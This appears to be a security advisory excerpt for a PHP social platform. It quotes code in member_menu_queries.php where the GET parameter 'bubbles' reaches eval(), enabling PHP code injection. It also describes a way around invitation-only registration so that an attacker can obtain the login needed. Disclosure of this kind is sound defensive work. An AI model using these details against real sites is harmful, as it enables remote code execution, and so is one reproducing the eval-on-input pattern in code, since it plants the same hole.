[-] vulnerable code in /member_menu_queries.php  
  
61. case 'get_bubbles_values' :  
62. $sBubbles = ( isset($_GET['bubbles']) ) ? $_GET['bubbles'] : null;  
63. if ( $sBubbles && $iMemberId ) {  
64.   
65. $aMemberInfo = getProfileInfo($iMemberId);  
66. if($aMemberInfo['UserStatus'] != 'offline') {  
67. // update the date of last navigate;  
68. update_date_lastnav($iMemberId);  
69. }  
70.   
71. $aBubbles = array();  
72. $aBubblesItems = explode(',', $sBubbles);  
73.   
74. if ( $aBubblesItems && is_array($aBubblesItems) ) {  
75. $bClearCache = false;  
76. foreach( $aBubblesItems as $sValue)  
77. {  
78. $aItem = explode(':', $sValue);  
79.   
80. $sBubbleCode = null;  
81. foreach($aMenuStructure as $sKey => $aItems)  
82. {  
83. foreach($aItems as $iKey => $aSubItems)  
84. {  
85. if( $aSubItems['Name'] == $aItem[0]) {  
86. $sBubbleCode = $aSubItems['Bubble'];  
87. break;  
88. }  
89. }  
90.   
91. if ($sBubbleCode) {  
92. break;  
93. }  
94. }  
95.   
96. if ($sBubbleCode) {  
97. $sCode = str_replace('{iOldCount}', $aItem[1], $sBubbleCode);  
98. $sCode = str_replace('{ID}', $iMemberId, $sCode);  
99.   
100. eval($sCode);  
  
When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized  
before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.  
Successful exploitation of this vulnerability requires authentication, but is always possible to create a  
new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass  
the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
